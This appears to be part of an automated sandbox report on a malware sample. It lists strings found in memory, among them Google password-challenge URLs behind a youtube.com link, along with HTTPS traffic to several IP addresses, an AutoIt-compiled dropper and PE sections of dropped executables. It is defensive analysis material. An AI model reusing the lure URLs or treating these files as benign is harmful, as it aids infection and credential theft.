Source: file.exe, 00000000.00000003.2142992607.0000000006441000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2849411017.0000000005F60000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2979383232.0000000005B7F000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3129189407.0000000005F57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: firefox.exe, 0000001C.00000002.3161526093.0000021CD9AC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3158958475.0000023D455C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001E.00000002.3158958475.0000023D455C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/D
Source: file.exe, 00000000.00000003.2142992607.0000000006441000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2849411017.0000000005F60000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2979383232.0000000005B7F000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3129189407.0000000005F57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 0000001A.00000002.3176703968.0000025923991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgX
Source: firefox.exe, 0000001A.00000002.3158728594.000000DF8B9BC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 0000001A.00000003.3072690944.000002593B869000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FBAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3183561232.000002592F1DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/onPrefEMEGlobalEnabledChangedstartup
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3181290798.000002592F054000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3158958475.0000023D45503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FBDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000001A.00000003.3072690944.000002593B8CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3186609548.000002592FA08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001A.00000003.3153782991.000002593D8DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001E.00000002.3162203644.0000023D456F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.co
Source: firefox.exe, 0000001A.00000003.3079779963.0000025935521000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3175722830.0000025923749000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3175549920.0000025923710000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3158390623.0000021CD9670000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160667016.0000021CD9894000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3158390623.0000021CD967A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3158239384.0000023D453C0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3158239384.0000023D453CA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162203644.0000023D456F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000017.00000002.2974638690.0000018DF4BFA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2983879138.000001BC56397000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3175722830.0000025923749000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: 1dc3787ee3.exe, 0000000C.00000002.3005498999.00000000018C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdL32.dllol
Source: firefox.exe, 0000001A.00000002.3178430475.000002592557C000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3178430475.0000025925549000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3158390623.0000021CD9670000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160667016.0000021CD9894000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3158239384.0000023D453C0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162203644.0000023D456F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdTake
Source: firefox.exe, 0000001A.00000002.3176703968.0000025923903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdq

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50277 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50311 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50296
Source: unknown	Network traffic detected: HTTP traffic on port 50283 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50330
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50333
Source: unknown	Network traffic detected: HTTP traffic on port 50319 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50263 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50234 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50343 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50320 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50305 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50328 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50347
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50349
Source: unknown	Network traffic detected: HTTP traffic on port 50274 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50340
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50341
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50344
Source: unknown	Network traffic detected: HTTP traffic on port 50352 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50343
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50346
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50345
Source: unknown	Network traffic detected: HTTP traffic on port 50289 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50325 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50268 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50271 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50237 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50346 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50238
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50237
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50351
Source: unknown	Network traffic detected: HTTP traffic on port 50317 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50350
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50232
Source: unknown	Network traffic detected: HTTP traffic on port 50246 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50352
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50234
Source: unknown	Network traffic detected: HTTP traffic on port 50351 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50236
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50235
Source: unknown	Network traffic detected: HTTP traffic on port 50288 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50272 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50232 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50345 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50326 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50249
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 50312 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50280 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50249 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50243
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50242
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50245
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50244
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50246
Source: unknown	Network traffic detected: HTTP traffic on port 50323 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50294 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 50235 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 50340 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50259
Source: unknown	Network traffic detected: HTTP traffic on port 50296 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50253
Source: unknown	Network traffic detected: HTTP traffic on port 50330 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50315 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50258
Source: unknown	Network traffic detected: HTTP traffic on port 50324 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50350 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50238 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50309 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50347 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50253 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50304
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50305
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50307
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50309
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50263
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50262
Source: unknown	Network traffic detected: HTTP traffic on port 50318 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50265
Source: unknown	Network traffic detected: HTTP traffic on port 50282 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50264
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50302
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50268
Source: unknown	Network traffic detected: HTTP traffic on port 50264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50272
Source: unknown	Network traffic detected: HTTP traffic on port 50285 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50271
Source: unknown	Network traffic detected: HTTP traffic on port 50258 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50304 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50329 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50315
Source: unknown	Network traffic detected: HTTP traffic on port 50313 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50317
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50316
Source: unknown	Network traffic detected: HTTP traffic on port 50281 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50319
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50318
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50274
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50276
Source: unknown	Network traffic detected: HTTP traffic on port 50262 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50311
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50277
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50313
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50312
Source: unknown	Network traffic detected: HTTP traffic on port 50265 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50281
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50280
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50283
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50282
Source: unknown	Network traffic detected: HTTP traffic on port 50259 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50236 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50307 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50341 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50349 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50326
Source: unknown	Network traffic detected: HTTP traffic on port 50276 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50325
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50328
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50327
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50329
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50285
Source: unknown	Network traffic detected: HTTP traffic on port 50245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50316 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50320
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50289
Source: unknown	Network traffic detected: HTTP traffic on port 50333 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50288
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50324
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50323
Source: unknown	Network traffic detected: HTTP traffic on port 50290 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50290
Source: unknown	Network traffic detected: HTTP traffic on port 50302 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50294
Source: unknown	Network traffic detected: HTTP traffic on port 50327 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50344 -> 443

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50232 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50234 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50235 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50236 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50237 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50238 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50242 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50243 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50244 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50245 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50246 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50249 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50253 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50258 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50259 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50262 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50264 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50271 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50272 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50274 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50282 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50285 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50289 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50290 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50294 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50296 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50302 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50309 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50313 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50316 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50325 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50326 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50329 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50328 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 1dc3787ee3.exe, 0000000C.00000002.3003758072.0000000000D52000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_edef38ff-7
Source: 1dc3787ee3.exe, 0000000C.00000002.3003758072.0000000000D52000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_3e8ff0b3-6
Source: 1dc3787ee3.exe, 00000022.00000000.3145844996.0000000000D52000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_ca22d2ae-6
Source: 1dc3787ee3.exe, 00000022.00000000.3145844996.0000000000D52000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_12254833-6
Source: 1dc3787ee3.exe.8.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_6fc979a4-e
Source: 1dc3787ee3.exe.8.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_b8512402-5

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: 1664VO856PFRR45SNXLF.exe.0.dr	Static PE information: section name:
Source: 1664VO856PFRR45SNXLF.exe.0.dr	Static PE information: section name: .idata
Source: NX5XML9A4AMIPXG5AGRT0AH025A0.exe.0.dr	Static PE information: section name:
Source: NX5XML9A4AMIPXG5AGRT0AH025A0.exe.0.dr	Static PE information: section name: .idata
Source: NX5XML9A4AMIPXG5AGRT0AH025A0.exe.0.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name: .idata
Source: skotes.exe.4.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name: .idata
Source: c1b0009d40.exe.8.dr	Static PE information: section name:
Source: c1b0009d40.exe.8.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.8.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: 7a5878ed96.exe.8.dr	Static PE information: section name:
Source: 7a5878ed96.exe.8.dr	Static PE information: section name: .rsrc
